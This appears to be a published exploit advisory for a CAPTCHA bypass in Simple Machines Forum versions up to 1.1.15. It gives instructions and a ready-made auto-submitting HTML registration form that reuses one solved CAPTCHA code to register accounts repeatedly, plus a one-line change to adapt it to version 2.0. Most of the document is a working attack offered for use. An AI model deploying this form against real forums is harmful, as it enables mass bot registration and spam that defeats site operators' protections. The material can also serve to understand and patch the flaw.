##########################################################
# Exploit Name : captcha bypass SMF <= 1.1.15 #
# Author : gabry9191 #
# Website : http://gabry9191.altervista.org/ #
# E-Mail : info-gabry9191@autistici.org #
####################################################################################################################
# Open the registration page and find the rand code : #
# #
# http://www.exemple.com/index.php?action=verificationcode;vid=register;rand=[RAND_CODE] #
# #
# View the captcha code and insert the validation code in the html code #
# Insert username, email and password and open the script #
# If all went well you can change the username, email and password and reuse the same captcha code #
####################################################################################################################
<form onsubmit="return verifyAgree();" id="creator" name="creator" accept-charset="ISO-8859-1" method="post" action="http://www.exemple.com/index.php?action=register2">
<input type="text" value="[USERNAME]" maxlength="25" tabindex="1" size="20" name="user">
<input type="text" value="[EMAIL]" tabindex="2" size="30" name="email">
<input type="checkbox" class="check" id="hideEmail" name="hideEmail" checked>
<input type="password" value="[PASSWORD]" tabindex="3" size="30" name="passwrd1">
<input type="password" value="[PASSWORD]" tabindex="4" size="30" name="passwrd2">
<img id="verificiation_image" alt="Scrivi le lettere mostrate nell'immagine" src="http://www.exemple.com/index.php?action=verificationcode;vid=register;rand=[RAND_CODE]">
<input type="text" tabindex="5" value="[Validation_code]" size="30" name="visual_verification_code">
<input type="submit" value="Registrati" name="regSubmit" disabled="">
<input type="checkbox" class="check" id="regagree" onclick="checkAgree();" name="regagree" checked>
</form>
<script>document.body.onload = document.forms[0].submit();</script>
########################################################################################################
# It will work with the 2.0 version if you change the line : #
# #
# <input type="text" tabindex="5"value="[Validation_code]" size="30" name="visual_verification_code"> #
# #
# with this line : #
# #
# <input type="text" tabindex="5"value="[Validation_code]" size="30" name="register_vv[code]"> #
# #
########################################################################################################
